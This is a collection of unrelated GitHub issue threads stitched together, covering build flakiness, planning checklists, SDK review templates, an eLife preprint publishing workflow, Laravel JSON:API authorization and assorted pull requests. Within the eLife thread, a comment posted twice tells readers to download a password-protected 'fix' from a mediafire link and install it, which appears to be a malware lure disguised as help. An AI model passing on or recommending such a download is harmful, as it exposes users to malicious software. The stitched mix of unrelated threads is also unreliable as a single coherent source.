---- System.Threading.Tasks.TaskCanceledException : A task was canceled.
   at System.Threading.Tasks.Task`1.GetResultCore(Boolean waitCompletionNotification)
   at Microsoft.AspNetCore.Server.IntegrationTesting.NginxDeployer.Deploy()
   at ServerComparison.FunctionalTests.ResponseTests.<ResponseFormats>d__15.MoveNext() in /datadrive/d6337ac2abf63a4b/.repositories/ServerTests/test/ServerComparison.FunctionalTests/ResponseTests.cs:line 176
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
----- Inner Stack Trace -----

cc @Tratcher \ @Eilon

@Tratcher - can you investigate this flakiness in the 1.1.3 patch build?

(And perhaps this is also an issue in dev as well.)

cc @muratg


Create Phase C WP3.6 (UKD-UKD-S16) October'24 to March'25 six month plan/review

On a date to be agreed
Review

[x] In plan to Sept'24

[x] what worked well?
[x] what did not work well?
[x] what can we improve?
[x] what should we keep?
[x] what should we drop?

[ ] Review  Phase C WP Brief

[x] Review the SRD

[x] Review risks

Is any escalation required?
Are there risks for those tasks/ tickets/  dependencies, … on the critical path?

Planning

[ ] Update the next release

[ ] Create tickets for latest 6 month objectives if necessary
[ ] Add Rubin IKC reporting tickets
[ ] Review previous 6 month plan
[ ] close tickets, remove duplicates as necessary
[ ] Shift any outstanding tickets from previous plan if appropriate

[ ] Identify any  task/ milestone/ deliverable dependencies with other LSST:UK WP tasks.

29/OCT/24

review meeting took place
see WP wiki page for notes


Write a set of requirements for the community project

For the community information management project, you will need to write a set of requirements. The requirements must be written in a clear manner, preferably in the format of User Stories.

WIP: https://github.com/aaldaber/SWE573-Spring-2024/wiki/List-of-Software-Requirements-for-Community-Information-Management-System

https://github.com/aaldaber/SWE573-Spring-2024/wiki/List-of-Software-Requirements-for-Community-Information-Management-System


[performance] req_hold is inadvertently asserted during entire sha accelerator mailbox read

While SHA accelerator is reading the mailbox SRAM, the request hold logic gets asserted by mistake the entire time.
This can cause the uC or SoC polling the mailbox status register to hold for up to 32 clocks.

is this fixed now?

Yes, this is resolved by c932181fddc4461aaaed4cf7242af210d5c28842


Create Telegram channel instead of Slack

Subject of the issue
Describe your issue here.
Your environment

version of your python
which browser and its version
OS Type (iOS/Android/Linux/Windows)

Steps to reproduce
Tell us how to reproduce this issue. Please provide a working demo as a GIF, if possible.
Expected behaviour
Tell us what and how exactly is it supposed to  happen
Actual behaviour
Tell us what happens instead or what went wrong

we already have 900+ people in slack so another movement is not possible.

closing this issue as its a wont fix


Board Review: Azure Remote Rendering Client Library

Thank you for starting the process for approval of the client library for your Azure service.  Thorough review of your client library ensures that your APIs are consistent with the guidelines and the consumers of your client library have a consistently good experience when using Azure.
** Before submitting, ensure you adjust the title of the issue appropriately **
To ensure consistency, all Tier-1 languages (C#, TypeScript, Java, Python) will generally be reviewed together.  In expansive libraries, we will pair dynamic languages (Python, TypeScript) together, and strongly typed languages (C#, Java) together in separate meetings.
ARR is designed for integration into a graphics rendering engine and has a C++ and C# (for Unity) client library.  TypeScript, Java, and Python are not supported as they are not applicable to the type of app that would integrate ARR.
The Basics

Service team responsible for the client library: Azure Remote Rendering
Link to documentation describing the service: https://docs.microsoft.com/en-us/azure/remote-rendering/
Contact email (if service team, provide PM and Dev Lead<EMAIL_ADDRESS>
About this client library

Name of the client library: Azure Remote Rendering Client Library
Languages for this review: C++
Link to the service REST APIs: This is not a REST API (we have REST API's, but we'll review those separately).

Artifacts required (per language)
We use an API review tool (apiview) to support .NET and Java API reviews.  For Python and TypeScript, use the API extractor tool, then submit the output as a Draft PR to the relevant repository (azure-sdk-for-python or azure-sdk-for-js).
.NET

Upload DLL to apiview.  Link:
Link to samples for champion scenarios:

Java

Upload JAR to apiview.  Link:
Link to samples for champion scenarios:

Python

Upload the api as a Draft PR.  Link to PR:
Link to samples for champion scenarios:

TypeScript

Upload output of api-extractor as a Draft PR.  Link to PR:
Link to samples for champion scenarios:

Champion Scenarios
A champion scenario is a use case that the consumer of the client library is commonly expected to perform.  Champion scenarios are used to ensure the developer experience is exemplary for the common cases.  You need to show the entire code sample (including error handling, as an example) for the champion scenarios.
Our public C++ API tutorial is a good description of our Champion Scenarios and code samples:  https://docs.microsoft.com/en-us/azure/remote-rendering/tutorials/native-cpp/hololens/integrate-remote-rendering-into-holographic-app
Agenda for the review
A board review is generally split into two parts, with additional meetings as required
Part 1 - Introducing the board to the service:

Review of the service (no more than 10 minutes).
Review of the champion scenarios.
Get feedback on the API patterns used in the champion scenarios.

After part 1, you may schedule additional meetings with architects to refine the API and work on implementation.
Part 2 - the "GA" meeting

Scheduled at least one week after the APIs have been uploaded for review.
Will go over controversial feedback from the line-by-line API review.
Exit meeting with concrete changes necessary to meet quality bar.

Thank you for your submission

Krzysztof and Jeff will review the library. Full board meeting not required.

Recording[MS INTERNAL ONLY]


Fix simulation reduction

This PR fixes simulation computation for automata that have non-final states without transitions. Before, this would lead to segfault.

I added some test

Yes, hopefully we won't forget


Error: ENOENT: no such file or directory, rename...

I'm using Claude, Windows 11, and I'm throwing this...
Error: ENOENT: no such file or directory, rename 'C:\Users\rickr\OneDrive\Desktop\smol\style.css' -> 'C:\Users\rickr\OneDrive\Desktop\smol\css\style.css'
Below is my CLI when starting from an empty directory (outside of setup files).
My current work around is beginning each prompt with "Without moving any files..." but that's no good =/
Thoughts? Thank you and this repo is awesome!
PS C:\Users\rickr\OneDrive\Desktop\smol> smol-dev-js run
--------------------
🐣 [ai]: hi its me, the ai dev ! you said you wanted
         here to help you with your project, which is a ....
--------------------
A simple snake game created with javascript and runs in the browser.
--------------------
🐣 [ai]: What would you like me to do? (PS: this is not a chat system, there is no chat memory prior to this point)
√ [you]:  ... Suggest something
🐣 [ai]:  Here is the updated plan draft:

Generate a `index.html` file to act as the entry point for the game. It will contain the canvas element to render the game and link to the `snake.js` and `style.css` files.

Generate a `snake.js` file which will contain the game logic. It will keep track of the snake segments, handle user input to change direction, check for collisions, update the position of the snake segments and render the snake.

Generate a `style.css` file to contain some basic styling for the canvas and to center it on the page.

Update `README.md` to describe the project, files and how to run the game.

Ask the user to:

- Run and test the code
- Make any changes to the files as needed
- Let me know if any files need to be updated or added
√ [you]: Proceed with the plan? ... yes
🐣 [ai]: Working on the plan ...
🐣 [ai]: Studying 0 dependencies (in parallel)
🐣 [ai]: Performing any required modules install / file moves / deletion
🐣 [ai]: Studying 0 dependencies (awaiting in parallel)
🐣 [ai]: Preparing summaries for smol-er sub-operations ...
🐣 [ai]: (async) Updating src file - index.html
🐣 [ai]: (async) Updating src file - snake.js
🐣 [ai]: (async) Updating src file - style.css
🐣 [ai]: Finished current set of async spec/src file update (1st round)
🐣 [ai]: (async) Updating src file - README.md
🐣 [ai]: Finished current set of async spec/src file update (2nd round)
🐣 [ai]: What would you like me to do? (PS: this is not a chat system, there is no chat memory prior to this point)
√ [you]:  ... Suggest something
🐣 [ai]:  Here is the updated plan draft:

Move `style.css` into a `css` folder.
Generate a `game.js` file with the game logic.
Update `index.html` to include the new `css` folder and `game.js` file.
Ask the user to test and provide feedback.
√ [you]: Proceed with the plan? ... yes
🐣 [ai]: Working on the plan ...
🐣 [ai]: Studying 1 dependencies (in parallel)
🐣 [ai]: Performing any required modules install / file moves / deletion
Error: ENOENT: no such file or directory, rename 'C:\Users\rickr\OneDrive\Desktop\smol\style.css' -> 'C:\Users\rickr\OneDrive\Desktop\smol\css\style.css'

Set everything up in Ubuntu and am recieving the same error =(

Been playing with this and seems like everything works until it has to create a folder or move things.  A permissions issue?


Navigation controller updates

Add a navigation controller with menu
Basic skeleton to offer leaderboard, signout and game play options
Add README for AWS cloud setup
Update license

Opened in error, please disregard.


Traefik 2.2 with automatic https via let's encrypt

Most guides about Traefik are outdated (using Traefik 1.x, the 1.7 still with a lot of user base) and the default configuration examples for Traefik 2.x do not provide Let's Encrypt enabled by default. Actually, Traefik 2.x have more configuration options than the 1.x series, but this broke the compatibility.
This issue is to make a combo with the traefik.toml + docker-compose.yml that deliver valid HTTPS.

The automatic https already is working. Maybe one thing missing is implement an middleware that make easier to specify on docker-compose labels that the user wants to redirect from http to https. But I have no idea on how to do it on Traefik 2.2 yet, so I will do on next run.


MSID: 97051 Version: 2 DOI: 10.1101/2<IP_ADDRESS>3029

MSID: 97051
Version: 2
Preprint DOI: https://doi.org/10.1101/2<IP_ADDRESS>3029
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=97051
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.1101/2<IP_ADDRESS>3029

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/97051v2
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.1101/2<IP_ADDRESS>3029
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/97051/v2/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Hi @acollings, going over RP PDFs and noticed the image for author response image 3 is not displaying in RP 97051v2, is this something that can be fixed please?

Thanks @rkcook312 -- @KJT08 can you please take a look and fix?

This one is now fixed, my apologies I missed adding the URL

Thanks @KJT08 and @acollings


Policy & include

Hi,
For example, i have resource users with patient relation. When i return false in user policy in viewPatient method i can't GET /users/id/patient. It's ok.
But... i can still do that: GET /users/id?include=patient
Shouldn't this also be forbidden?

As per #98 this is because the authorizer/policy authorizes the controller action, not individual parts of the request. However our implementation is flexible enough that you can add this logic if it is needed for your application.
For this, either use the authorize method on the Query and/or QueryCollection classes, or write your own authorizer.

Like in #98, it's sounds like security issue. What is the point of using policy for relationship when still exists method to skip this? It should be handled by library it self.

So this is too complex to implement in the way you're proposing. Let's say there's a posts resource, and the client includes comments.user - how would you propose that is authorised? I can see how it would be easy to authorise the comments relationship but then are you expecting it to load every single comment to then authorise whether the user relationship can be read on each comment? To me that seems completely overkill, inefficient, plus would require huge re-wiring of the package... because at the moment, the comments relationship is loaded after authorisation.

Plus it starts to get even more complex if the client includes comments.user.profile.country. I just can't envisage a scenario where we'd want to go down the route of loading each segment of the include path, iterating through it to authorise each sub-relationship.

Yes, it's comples issue. Maybe something like viewAnyName()? and than explode comments.user.profile.country and call this method for 4 policies? It's only concept. But for now, it's just don't work corretly.
If you don't want to user see some page, you build login page, auhtorization, etc. You don't want the user to be able to enter there by other way.
So, if you don't want to the user to view some relationship resource, you create policy and you also don't want to show this relationship by other way ;)

Exploding it an calling it for 4 policies would be hideously complex, as the relationships aren't eager-loaded at the point the authorizer is called. Plus you'd have to call the authorization method N+1 times for each to-many relationship. Which has the potential to be hiddeously slow. Basically, this is why I've never structured an API resource to have field-level authorization: we always structure the API to have resource-level authorization.
Not saying what you're trying to do is wrong; just saying it's far too complex for this package to implement. It is however supported, you'd just have to write your own authorizer.
This is now all explained in the docs here:
https://laraveljsonapi.io/docs/1.0/requests/authorization.html#relationship-authorization

OK, i'm trying to stick to this behaviour but I ran into another problem:
I marked my one of relation as hidden, to prevent accessing this relation via include - it works fine, but now, when i try to access /api/resource/id/relation i got an error:
Unexpected relationship A on resource B.

It also happend when You just try to include any non-existing relationship. I think this should not generate an error (500).
How do I hide the relationship from the main resource leaving access via the url?

I got it, cannotEagerLoad ;) Sorry for a trouble.
Btw. I still argue that include random string should not throw a exception.

Random string throws an exception is the correct behaviour. A non-included relationship should be rejected at the validation stage, and result in a 400 response to the client with a specific message about the relationship not being an include path. So the exception being thrown is correct, because the validation stage should have rejected it.
I've definitely seen those validation exceptions so not sure why it isn't rejecting on your resource?

Yes, error 400 will be fine, but i got 500 in that case.
Steps to reproduce:

define resource relation route
mark any relation as hidden in schema
try to access /api/resource/id/relation

Oh no hang on, I didn't fully understand what you were saying.
Hidden only hides the field within the resource's JSON. It won't affect the relationship routes... because if you don't want a relationship to be accessible via its route, you just don't register the route.
If you are getting a 500 when you are not expecting it, please can you create a separate issue and provide a full stack trace of the exception that is causing the 500?

Hidden only hides the field within the resource's JSON. It won't affect the relationship routes... because if you don't want a relationship to be accessible via its route, you just don't register the route.

Correct.

If you are getting a 500 when you are not expecting it, please can you create a separate issue and provide a full stack trace of the exception that is causing the 500?

Yes, of course.
Btw. Thanks for your time and responses, the library which you create is great and I really appreciate what you do. In past i create 4 projects based on it and now i trying to learn and use the new version - which is not easy sometimes. So, once again, thanks a lot! :)

No problem, thanks for the feedback!


Fixed dist tarball creation

Makefile's recipe for creating a dist tarball was outdated, referring to files which no longer existed.
This commit:

fixes this recipe
adds a slightly more verbose message when the recipe is run
adds to the gitignore so as to ignore dist tarballs created

Awesome, thanks for this!
make dist has clearly never worked (the Makefile was stolen from another project of mine).


How to use fastlane Screenshots for product flavours in android?

New Issue Checklist

[ ] Updated fastlane to the latest version
[ ] I have read the Contribution Guidelines

Issue Description
Complete output when running fastlane, including the stack trace and command used
[INSERT OUTPUT HERE]

Environment
Please run fastlane env and copy the output below. This will help us help you :+1:
[INSERT OUTPUT HERE]

@asfalcone I have three product flavors ,wanna run at single comment and store the all flavors screen shot in as per the flavor name in directory..

@Muthukathiravan this isn't currently supported by screengrab itself. you could use fastlane to build each debug and test variant per flavor, then run screengrab, specifying a different output folder. Hope this helps 👍

@Muthukathiravan Thanks for reaching out. You'll need to run screengrab three times in the same lane. Let me know if you have any questions.


Fix Nil Pointer Reference For Snapshot Object During Blocksync

Fix Nil Pointer Reference For Snapshot Object During Blocksync
Fix naming

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#1326  👈
#1325
#1324
#1321
feature/proof-of-stake

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @tholonious and the rest of your teammates on  Graphite

Merge activity

May 15, 7:17 PM EDT: @tholonious started a stack merge that includes this pull request via Graphite.